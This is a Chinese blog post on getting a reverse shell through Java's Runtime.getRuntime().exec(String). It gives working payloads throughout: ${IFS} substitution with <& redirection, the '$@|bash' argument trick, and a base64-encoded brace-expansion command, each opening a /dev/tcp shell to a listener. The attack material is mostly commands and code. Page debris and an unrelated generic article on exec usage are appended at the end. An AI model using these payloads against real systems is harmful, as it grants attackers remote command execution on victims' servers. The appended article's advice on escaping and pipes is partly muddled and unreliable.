java Runtime.getRuntime().exec 获取反弹shell

说明

前面写了一篇在Java环境下获取shell的文章。当时使用的语句是:

Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();

 

其中在exec()中我们是传入了多个参数,可是如果实际的环境是Runtime.getRuntime().exec(String cmd)只能允许我们传入一个参数,又该如何getshell呢?

exec分析

我们分析一下Runtime中的exec()函数:
java.lang.Runtime()中存在多个重载的exec()方法,如下所示:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

除了常见的exec(String command)exec(String cmdarray[]),其他exec()都增加了envpFile这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])exec(String command):

// exec(String command) 函数
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

 

可以看到exec(String cmdarray[])exec(String command)最终都是调用的exec(cmdarray, null, null)exec(String command)通过StringTokenizer st = new StringTokenizer(command);将其分割为Token之后作为字符串数组,调用exec(cmdarray, null, null)

分析StringTokenizer(String str):

public StringTokenizer(String str) {
    this(str, " \t\n\r\f", false);
}

将字一个字符串使用\t\n\r\f这些字符进行分割。尝试:

String testStr = "a b\tc\nd\re\fg";
StringTokenizer st = new StringTokenizer(testStr);
for (int i = 0; st.hasMoreTokens(); i++)
    System.out.println(st.nextToken());

输出结果:
a
b
c
d
e
g

 

bypass exec

如果直接尝试执行

Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");

那么最终执行到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1

而我们执行r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});,执行到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1

其最终的结果就是Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");没有任何的反应,但是r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});可以成功地反弹shell。

那么现在的问题就转换成为能否找到一个替换字符,使其通过StringTokenizer(String str)不进行分割,但是又被/bin/bash能够正确地识别为空格的字符。

IFS

在Linux环境中,${IFS}是一个内置的变量,用于标示命令中参数的分隔符。通常他的取值是空格+TAB+换行(0x20 0x09 0x0a)。尝试:

$ echo "abc" | hexdump -C
00000000  61 62 63 0a                                       |abc.|
00000004
$ echo "a${IFS}b${IFS}c"|hexdump -C
00000000  61 20 09 0a 62 20 09 0a  63 0a                    |a ..b ..c.|
0000000a

结果就显示出了${IFS}其实就是0x20 0x09 0x0a。尝试利用${IFS},于是我们的代码变成了:

Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1");

发现执行完毕之后出现了/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect错误。发现当执行到时java.lang.Runtime:Process exec(String command, String[] envp, File dir),信息如下:

那么就说明利用${IFS}执行/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1确实能够绕过Java的分隔符。我们直接在bash中尝试:

spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect

同样会出现ambiguous redirect的错误,如果尝试将/dev/tcp/127.0.0.1/8888${IFS}0>&1替换为/dev/tcp/127.0.0.1/8888$ 0>&1,即/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1就能够成功地进行反弹shell了。使用zsh进行尝试/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1,同样会出现ambiguous redirect那么就是说明可能上述的写法不符合shell的语法。

最终进行测试,在/bin/bash -c bash>x${IFS}0就会出现ambiguous redirect问题,猜测可能是x${IFS}0才会出现这样的问题,至于为什么会出现的这样的问题,希望有大牛能够帮忙解答一下。

所以如果使用/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1就一定不行了吗?我们目前已经知道/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1是可以反弹shell的,那么问题的关键就是在这种/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1情况下的${IFS}绕过。我们查看bash中有什么语法可供我们使用。

bash manpage

Duplicating File Descriptors
    The redirection operator

            [n]<&word

    is used to duplicate input file descriptors.  If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor.  If the digits in  word  do
    not  specify a file descriptor open for input, a redirection error occurs.  If word evaluates to -, file descriptor n is closed.  If n is not specified, the standard input (file descriptor 0)
    is used.

    The operator

            [n]>&word

    is used similarly to duplicate output file descriptors.  If n is not specified, the standard output (file descriptor 1) is used.  If the digits in word do not specify a file  descriptor  open
    for  output,  a  redirection  error occurs.  If word evaluates to -, file descriptor n is closed.  As a special case, if n is omitted, and word does not expand to one or more digits or -, the
    standard output and standard error are redirected as described previously.

对于[n]<&word,发现有If n is not specified, the standard input (file descriptor 0) is used,貌似就可以解决我们的问题。那么我们可以改写为:

/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1

可以完美实现反弹shell,查看其fd信息如下:

spoock@ubuntu:~/Desktop$ ls -all  /proc/10434/fd
total 0
dr-x------ 2 spoock spoock  0 Nov 25 06:44 .
dr-xr-xr-x 9 spoock spoock  0 Nov 25 06:44 ..
lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]

文件描述符0,1,2都指向了socket。既然这种可以,我们尝试利用Java进行反弹shell,

Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");

也能够执行反弹shell。

$@

发现在linux中还存在$@$*,他们的含义都是list of all arguments passed to the script。进行一个简单的实验:
ifsargs.sh

#!/bin/bash
# ifsargs.sh - Cmd args - positional parameter demo
echo "Command-Line Arguments Demo"
echo "*** All args displayed using \$@ positional parameter ***"
echo $@
echo "*** All args displayed using \$* positional parameter ***"
echo $*

运行得到的结果是:

spoock@ubuntu:~/Desktop$ ./ifsargs.sh foo bar test
Command-Line Arguments Demo
*** All args displayed using $@ positional parameter ***
foo bar test
*** All args displayed using $* positional parameter ***
foo bar test

那么我们就可以利用来反弹shell了。看bash语法:

bash [options] [command_string | file]
-c   If the -c option is present, then commands are read from the first non-option argument command_string.If there are arguments after the command_string, they are assigned to the positional parameters, starting with $0.

结合bash$@,我们可以变为:

/bin/sh -c '$@|sh' xxx  echo ls

可以成功地执行ls。分析下这个命令,当bash解析到'$@|sh' xxx echo ls,发现$@$@需要取脚本的参数,那么就会解析xxx echo ls,由于$@只会取脚本参数,会将第一个参数认为是脚本名称(认为xxx是脚本名称),就会取到echo ls。那么最终执行的就是echo ls|sh,就可以成功地执行ls命令了。

利用上面这个trick,那么我们就可以执行任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'最终可以成功地反弹shell。我们利用Java进行测试:

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

最终在JAVA中的数组的结果如下:

最终相当于执行了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash命令,成功反弹shell。同样地,/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1也是可以的。

base64 decode

java.lang.Runtime.exec() Payload Workarounds对payload进行base64编码从而绕过exec()bash -i >&/dev/tcp/127.0.0.1/8888 0>&1经过转换变为bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}。测试:

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

成功执行反弹shell。

 

 

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Runtime.getRuntime.execJava中一个非常重要的方法,它可以用来执行系统命令。在本篇博客中,我们将深入了解这个方法的用法和注意事项。 使用方法 首先,我们需要知道如何使用Runtime.getRuntime.exec方法。以下是一个简单的示例,它创建了一个进程并执行了“ls”命令: ``` Process p = Runtime.getRuntime().exec("ls"); ``` 在这个例子中,我们使用了exec方法来创建了一个Process对象,它代表了一个新的进程。我们传递给exec方法的参数是一个字符串,它是需要执行的命令。在这个例子中,我们执行了“ls”命令,它会列出当前目录下的文件和文件夹。 注意事项 在使用Runtime.getRuntime.exec方法时,我们需要注意一些事项。以下是一些需要注意的事项: 1. Command参数需要完整路径或在环境变量中定义的命令名 如果我们要执行的命令不在环境变量中,我们需要指定完整路径或使用cd切换到相应的目录。例如,“/usr/bin/java”或“cd /usr/bin; java”。 2. 避免使用空格和特殊字符 如果执行的命令中包含空格或特殊字符,我们需要使用转义字符。例如,“ls -l /home/user/Documents”应该写成“ls\ -l\ /home/user/Documents”。 3. 避免使用管道和重定向 我们应该尽量避免在exec方法中使用管道和重定向。如果必须使用,我们可以使用bash shell来执行命令。例如,“/bin/bash -c 'ls | grep .txt > file.txt'”。 4. 处理输出和错误流 我们可以使用Process对象的getInputStream方法来获取命令的输出流,并使用getOutputStream方法来获取命令的错误流。我们可以使用这些流来读取命令的输出和错误信息。 总结 Runtime.getRuntime.exec方法是一个非常强大的方法,它可以用来执行系统命令。但是,我们需要注意一些事项,例如避免使用空格和特殊字符,避免使用管道和重定向,并处理输出和错误流。如果正确使用,这个方法可以帮助我们完成很多系统级任务。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值